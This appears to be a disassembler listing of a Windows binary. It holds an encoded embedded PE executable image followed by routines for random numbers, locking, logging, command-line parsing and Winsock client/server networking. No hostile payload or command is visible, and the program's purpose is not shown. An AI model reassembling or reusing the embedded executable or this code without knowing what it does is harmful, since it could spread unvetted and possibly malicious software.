		dd 1435D8DCh, 0A77F64ACh, 4809F071h, 1990357Ah,	8D744BCCh
		dd 18FFA6F7h, 0E84BD994h
		dd 205BC9CDh, 87B018BFh, 2F53E391h, 98BD6E5Eh, 61685678h
		dd 8D485A15h, 0ECEC0A31h, 0ADC450F3h, 0CD7DF163h, 0DD5C4443h
		dd 34F4BF44h, 0DE8FD0D1h, 10770990h, 54749121h,	0F886957Bh
		dd 0B8DF3020h, 0EBA441A4h, 0A1135FBFh, 0E729C27Eh, 0C5F0A8B8h
		dd 3C2EF6F1h, 5C04ABF8h, 0CD49ED8Dh, 7A1C77Fh, 0D20163ADh
		dd 1E5B5923h, 4DFBD935h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 80000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 50000000h, 4C000045h, 21000401h, 47220Fh, 0
		dd 0E0000000h, 0B010F00h, 320201h, 0C8h, 1C2h, 30000000h
		dd 7Eh,	10h, 0E0h, 4000h, 10h, 4000002h, 0
		dd 4000000h, 2 dup(0)
		dd 2C0h, 4, 2000000h, 0
		dd 1000h, 10h, 1000h, 10h, 10000000h, 2	dup(0)
		dd 10000000h, 7800011Ah, 0
		dd 0D0000140h, 172h, 11h dup(0)
		dd 0C8000000h, 4000011Ch, 2, 5 dup(0)
		dd 2E000000h, 74786574h, 0B6000000h, 0C7h, 10h,	0C8h, 4
		dd 2 dup(0)
		dd 20000000h, 2E600000h, 74616472h, 0D4000061h,	21h, 0E0h
		dd 22h,	0CCh, 2	dup(0)
		dd 40000000h, 2E400000h, 61746164h, 90000000h, 2Ah, 110h
		dd 18h,	0EEh, 2	dup(0)
		dd 40000000h, 2EC00000h, 63727372h, 0D0000000h,	172h, 140h
		dd 174h, 106h, 2 dup(0)
		dd 40000000h, 400000h, 79h dup(0)
		db 3 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_44246C	proc near		; CODE XREF: DMN1:004454B8p
					; DMN1:004461B5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_44247E
; ---------------------------------------------------------------------------


loc_442476:				; CODE XREF: sub_44246C+14j
		call	dword_411CC8	; GetTickCount
		mov	esi, eax


loc_44247E:				; CODE XREF: sub_44246C+8j
		test	esi, esi
		jz	short loc_442476
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_44249A
		inc	dword ptr [ebx]


loc_44249A:				; CODE XREF: sub_44246C+2Aj
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_44246C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4424A7	proc near		; CODE XREF: sub_447EEC+20p
		push	offset dword_412860
		call	dword_411CCC	; InitializeCriticalSection
		retn
sub_4424A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4424B3	proc near		; CODE XREF: sub_442695+35p
					; sub_442E2E+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44853B
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_4424B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4424E1	proc near		; CODE XREF: sub_442695+1Fp
					; sub_442EA6+Bp ...

arg_0		= dword	ptr  4

		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		push	[esp+arg_0]
		call	sub_4488EB
		pop	ecx
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		retn
sub_4424E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_442502	proc near		; CODE XREF: sub_447EEC+2Ap
		push	offset dword_412878
		call	dword_411CCC	; InitializeCriticalSection
		retn
sub_442502	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		cmp	dword ptr [ebp+8], 0
		jz	loc_4425C9
		push	0FFFFFFF5h
		call	dword_411CD8	; GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	loc_4425C9
		push	offset dword_412878
		call	dword_411CD0	; RtlEnterCriticalSection
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		call	sub_4489BB
		add	esp, 10h
		mov	ebx, eax
		cmp	ebx, 0FFh
		jbe	short loc_4425AB
		push	1
		lea	eax, [ebx+80h]
		push	eax
		call	sub_44853B
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		lea	eax, [ebx+1Fh]
		push	eax
		push	esi
		call	sub_4489BB
		add	esp, 10h
		mov	ebx, eax
		push	esi
		push	offset aS_0	; "%s"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		push	esi
		call	sub_4488EB
		pop	ecx
		jmp	short loc_4425BE
; ---------------------------------------------------------------------------


loc_4425AB:				; CODE XREF: DMN1:0044256Bj
		lea	eax, [ebp-100h]
		push	eax
		push	offset aS_0	; "%s"
		call	sub_448A5B
		pop	ecx
		pop	ecx


loc_4425BE:				; CODE XREF: DMN1:004425A9j
		push	offset dword_412878
		call	dword_411CD4	; RtlLeaveCriticalSection


loc_4425C9:				; CODE XREF: DMN1:00442521j
					; DMN1:00442537j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4425D0	proc near		; CODE XREF: sub_447EEC+25p
		push	offset dword_412890
		call	dword_411CCC	; InitializeCriticalSection
		retn
sub_4425D0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		lea	eax, [ebp-10h]
		push	eax
		call	dword_411CDC	; GetLocalTime
		cmp	word ptr [ebp-8], 0Ch
		jnb	short loc_4425FB
		mov	ebx, offset aAm	; "AM"
		jmp	short loc_442600
; ---------------------------------------------------------------------------


loc_4425FB:				; CODE XREF: DMN1:004425F2j
		mov	ebx, offset aPm	; "PM"


loc_442600:				; CODE XREF: DMN1:004425F9j
		push	ebx
		movzx	eax, word ptr [ebp-4]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		mov	ecx, 0Ch
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-10h]
		mov	ecx, 64h
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset a02i02i02iIIIS ;	"%02i/%02i/%02i	%i:%i:%i%s"
		push	dword ptr [ebp+8]
		call	sub_448ABB
		add	esp, 24h
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	offset dword_412890
		call	dword_411CD0	; RtlEnterCriticalSection
		push	offset aA	; "a"
		push	dword ptr [ebp+8]
		call	sub_448AFB
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_442685
		lea	eax, [ebp+10h]
		mov	[ebp-4], eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_448BAB
		add	esp, 0Ch
		push	ebx
		call	sub_448D5B
		pop	ecx


loc_442685:				; CODE XREF: DMN1:00442667j
		push	offset dword_412890
		call	dword_411CD4	; RtlLeaveCriticalSection
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442695	proc near		; CODE XREF: sub_447EEC+4Bp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		jmp	short loc_4426BA
; ---------------------------------------------------------------------------


loc_4426A2:				; CODE XREF: sub_442695+2Cj
		dec	dword_411000
		mov	eax, dword_411000
		push	dword_4128A8[eax*4]
		call	sub_4424E1
		pop	ecx


loc_4426BA:				; CODE XREF: sub_442695+Bj
		cmp	dword_411000, 0
		jnz	short loc_4426A2
		jmp	short loc_442736
; ---------------------------------------------------------------------------


loc_4426C5:				; CODE XREF: sub_442695+ADj
		push	401h
		call	sub_4424B3
		pop	ecx
		mov	edx, dword_411000
		mov	dword_4128A8[edx*4], eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4426E9
		inc	ebx
		mov	[ebp+var_1], 22h
		jmp	short loc_4426ED
; ---------------------------------------------------------------------------


loc_4426E9:				; CODE XREF: sub_442695+4Bj
		mov	[ebp+var_1], 20h


loc_4426ED:				; CODE XREF: sub_442695+52j
		and	[ebp+var_8], 0
		mov	eax, dword_411000
		lea	edx, [eax+1]
		mov	dword_411000, edx
		mov	esi, dword_4128A8[eax*4]
		jmp	short loc_44270E
; ---------------------------------------------------------------------------


loc_442708:				; CODE XREF: sub_442695+8Bj
		mov	al, [ebx]
		mov	[esi], al
		inc	esi
		inc	ebx


loc_44270E:				; CODE XREF: sub_442695+71j
		mov	al, [ebx]
		test	al, al
		jz	short loc_442722
		cmp	al, [ebp+var_1]
		jz	short loc_442722
		cmp	[ebp+var_8], 400h
		jl	short loc_442708


loc_442722:				; CODE XREF: sub_442695+7Dj
					; sub_442695+82j
		cmp	[ebp+var_1], 22h
		jnz	short loc_442731
		cmp	byte ptr [ebx],	22h
		jnz	short loc_442731
		inc	ebx
		jmp	short loc_442731
; ---------------------------------------------------------------------------


loc_442730:				; CODE XREF: sub_442695+9Fj
		inc	ebx


loc_442731:				; CODE XREF: sub_442695+91j
					; sub_442695+96j ...
		cmp	byte ptr [ebx],	20h
		jz	short loc_442730


loc_442736:				; CODE XREF: sub_442695+2Ej
		cmp	byte ptr [ebx],	0
		jz	short loc_442744
		cmp	dword_411000, 20h
		jl	short loc_4426C5


loc_442744:				; CODE XREF: sub_442695+A4j
		mov	eax, dword_411000
		and	dword_4128A8[eax*4], 0
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442695	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442757	proc near		; CODE XREF: sub_447EEC+256p

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	bx, 2
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_4484A9	; WSAStartup
		mov	esi, eax
		test	esi, esi
		jz	short loc_4427A7
		mov	bx, 101h
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_4484A9	; WSAStartup
		mov	esi, eax
		test	esi, esi
		jz	short loc_44279A
		xor	eax, eax
		jmp	short loc_4427B5
; ---------------------------------------------------------------------------


loc_44279A:				; CODE XREF: sub_442757+3Dj
		push	offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n"
		call	nullsub_4
		pop	ecx
		jmp	short loc_4427B2
; ---------------------------------------------------------------------------


loc_4427A7:				; CODE XREF: sub_442757+23j
		push	offset aWinsock2_xInit ; "WinSock 2.x initialized.\n"
		call	nullsub_4
		pop	ecx


loc_4427B2:				; CODE XREF: sub_442757+4Ej
		xor	eax, eax
		inc	eax


loc_4427B5:				; CODE XREF: sub_442757+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442757	endp

; ---------------------------------------------------------------------------
		call	sub_4484AF	; WSACleanup
		xor	eax, eax
		inc	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4427C4	proc near		; CODE XREF: sub_443D01+BDp
					; DMN1:00445186p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_4484B5	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4427E2
		xor	eax, eax
		jmp	short loc_442838
; ---------------------------------------------------------------------------


loc_4427E2:				; CODE XREF: sub_4427C4+18j
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_4484BB	; setsockopt
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_4484BB	; setsockopt
		mov	[ebp+var_4], 1
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_4484BB	; setsockopt
		mov	eax, ebx


loc_442838:				; CODE XREF: sub_4427C4+1Cj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4427C4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_4484B5	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_44285B
		xor	eax, eax
		jmp	short loc_4428BC
; ---------------------------------------------------------------------------


loc_44285B:				; CODE XREF: DMN1:00442855j
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_4484BB	; setsockopt
		imul	eax, [ebp+8], 3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_4484BB	; setsockopt
		xor	eax, eax
		cmp	dword ptr [ebp+10h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_4484BB	; setsockopt
		mov	eax, ebx


loc_4428BC:				; CODE XREF: DMN1:00442859j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+8]
		imul	eax, [ebp+10h],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_4484BB	; setsockopt
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_4484BB	; setsockopt
		xor	eax, eax
		cmp	dword ptr [ebp+14h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_4484BB	; setsockopt
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_44292D	proc near		; CODE XREF: sub_443A14+15Dp
					; sub_443A14+1B4p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4484C1	; closesocket
		xor	eax, eax
		inc	eax
		retn
sub_44292D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44293A	proc near		; CODE XREF: DMN1:00445749p
					; DMN1:004457C3p ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		and	[ebp+var_10C], 0
		and	[ebp+var_108], 0
		and	[ebp+var_104], 0
		cmp	[ebp+var_104], 40h
		jnb	short loc_44297C
		mov	eax, [ebp+var_104]
		lea	edx, [eax+1]
		mov	[ebp+var_104], edx
		mov	[ebp+eax*4+var_100], ebx


loc_44297C:				; CODE XREF: sub_44293A+2Aj
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_4484C7	; select
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4429A7
		test	esi, esi
		jnz	short loc_4429A4
		xor	eax, eax
		jmp	short loc_4429A7
; ---------------------------------------------------------------------------


loc_4429A4:				; CODE XREF: sub_44293A+64j
		xor	eax, eax
		inc	eax


loc_4429A7:				; CODE XREF: sub_44293A+60j
					; sub_44293A+68j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44293A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4429AD	proc near		; CODE XREF: sub_4439CD+13p
					; sub_443A14+1F5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	sub_4484CD	; ioctlsocket
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4429CD
		mov	eax, [ebp+var_4]


loc_4429CD:				; CODE XREF: sub_4429AD+1Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4429AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4429D2	proc near		; CODE XREF: sub_443A14+14Ep
					; sub_443D01+DBp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_4484D3	; htons
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_4484D9	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_442A1A
		xor	eax, eax
		jmp	short loc_442A1D
; ---------------------------------------------------------------------------


loc_442A1A:				; CODE XREF: sub_4429D2+42j
		xor	eax, eax
		inc	eax


loc_442A1D:				; CODE XREF: sub_4429D2+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4429D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442A22	proc near		; CODE XREF: DMN1:00445897p
					; DMN1:004461F1p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_4484D3	; htons
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_4484DF	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_442A6A
		xor	eax, eax
		jmp	short loc_442A6D
; ---------------------------------------------------------------------------


loc_442A6A:				; CODE XREF: sub_442A22+42j
		xor	eax, eax
		inc	eax


loc_442A6D:				; CODE XREF: sub_442A22+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442A22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442A72	proc near		; CODE XREF: DMN1:004458B6p
					; DMN1:00446333p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	5
		push	[ebp+arg_0]
		call	sub_4484E5	; listen
		test	eax, eax
		jge	short loc_442A87
		xor	eax, eax
		jmp	short loc_442A8A
; ---------------------------------------------------------------------------


loc_442A87:				; CODE XREF: sub_442A72+Fj
		xor	eax, eax
		inc	eax


loc_442A8A:				; CODE XREF: sub_442A72+13j
		pop	ebp
		retn
sub_442A72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442A8C	proc near		; CODE XREF: DMN1:00447554p

var_14		= dword	ptr -14h
var_10		= word ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	esi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	sub_4484EB	; accept
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_442ACF
		xor	eax, eax
		jmp	short loc_442AD1
; ---------------------------------------------------------------------------


loc_442ACF:				; CODE XREF: sub_442A8C+3Dj
		mov	eax, ebx


loc_442AD1:				; CODE XREF: sub_442A8C+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442AD7	proc near		; CODE XREF: DMN1:004458CEp
					; DMN1:0044634Bp

var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		and	dword ptr [edx], 0
		mov	word ptr [ebx],	0
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	edi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	[ebp+arg_0]
		call	sub_4484EB	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_442B29
		xor	eax, eax
		jmp	short loc_442B40
; ---------------------------------------------------------------------------


loc_442B29:				; CODE XREF: sub_442AD7+4Cj
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_C]
		mov	[edx], eax
		movzx	eax, [ebp+var_E]
		push	eax
		call	sub_4484F1	; htons
		mov	[ebx], ax
		mov	eax, esi


loc_442B40:				; CODE XREF: sub_442AD7+50j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442AD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442B47	proc near		; CODE XREF: sub_443017+44p
					; sub_443017+A3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_442B72
; ---------------------------------------------------------------------------


loc_442B55:				; CODE XREF: sub_442B47+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_4484F7	; recv
		mov	esi, eax
		test	esi, esi
		jg	short loc_442B6E
		or	eax, 0FFFFFFFFh
		jmp	short loc_442B79
; ---------------------------------------------------------------------------


loc_442B6E:				; CODE XREF: sub_442B47+20j
		sub	edi, esi
		add	ebx, esi


loc_442B72:				; CODE XREF: sub_442B47+Cj
		test	edi, edi
		jg	short loc_442B55
		mov	eax, [ebp+arg_8]


loc_442B79:				; CODE XREF: sub_442B47+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_442B47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442B7E	proc near		; CODE XREF: sub_443A14+1E3p
					; sub_443D01+149p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_442BAD
; ---------------------------------------------------------------------------


loc_442B8D:				; CODE XREF: sub_442B7E+31j
		push	0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4484F7	; recv
		mov	esi, eax
		test	esi, esi
		jle	short loc_442BB1
		sub	edi, esi
		mov	eax, [ebp+arg_4]
		add	eax, esi
		mov	[ebp+arg_4], eax
		add	ebx, esi


loc_442BAD:				; CODE XREF: sub_442B7E+Dj
		test	edi, edi
		jg	short loc_442B8D


loc_442BB1:				; CODE XREF: sub_442B7E+21j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_442B7E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+10h]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_442BE7
; ---------------------------------------------------------------------------


loc_442BC7:				; CODE XREF: DMN1:00442BE9j
		push	0
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4484F7	; recv
		mov	esi, eax
		test	esi, esi
		jle	short loc_442BEB
		sub	edi, esi
		mov	eax, [ebp+0Ch]
		add	eax, esi
		mov	[ebp+0Ch], eax
		add	ebx, esi


loc_442BE7:				; CODE XREF: DMN1:00442BC5j
		test	edi, edi
		jg	short loc_442BC7


loc_442BEB:				; CODE XREF: DMN1:00442BD9j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442BF2	proc near		; CODE XREF: sub_442F45+97p
					; sub_443A14+1A4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_442C1D
; ---------------------------------------------------------------------------


loc_442C00:				; CODE XREF: sub_442BF2+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_4484FD	; send
		mov	esi, eax
		test	esi, esi
		jg	short loc_442C19
		or	eax, 0FFFFFFFFh
		jmp	short loc_442C24
; ---------------------------------------------------------------------------


loc_442C19:				; CODE XREF: sub_442BF2+20j
		sub	edi, esi
		add	ebx, esi


loc_442C1D:				; CODE XREF: sub_442BF2+Cj
		test	edi, edi
		jg	short loc_442C00
		mov	eax, [ebp+arg_8]


loc_442C24:				; CODE XREF: sub_442BF2+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_442BF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_442C29	proc near		; CODE XREF: DMN1:00442CEDp
					; DMN1:004450DAp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	esi, esi
		push	[esp+8+arg_0]
		call	sub_448503	; inet_addr
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_442C5D
		push	[esp+8+arg_0]
		call	sub_448509	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_442C54
		or	eax, 0FFFFFFFFh
		jmp	short loc_442C5F
; ---------------------------------------------------------------------------


loc_442C54:				; CODE XREF: sub_442C29+24j
		mov	eax, [esi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	short loc_442C5F
; ---------------------------------------------------------------------------


loc_442C5D:				; CODE XREF: sub_442C29+15j
		mov	eax, ebx


loc_442C5F:				; CODE XREF: sub_442C29+29j
					; sub_442C29+32j
		pop	esi
		pop	ebx
		retn
sub_442C29	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp-10h]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		mov	dword ptr [ebp-14h], 10h
		lea	ebx, [ebp-10h]
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_44850F	; getsockname
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_442CA2
		xor	eax, eax
		jmp	short loc_442CBD
; ---------------------------------------------------------------------------


loc_442CA2:				; CODE XREF: DMN1:00442C9Cj
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp-0Ch]
		mov	[edx], eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		call	sub_4484F1	; htons
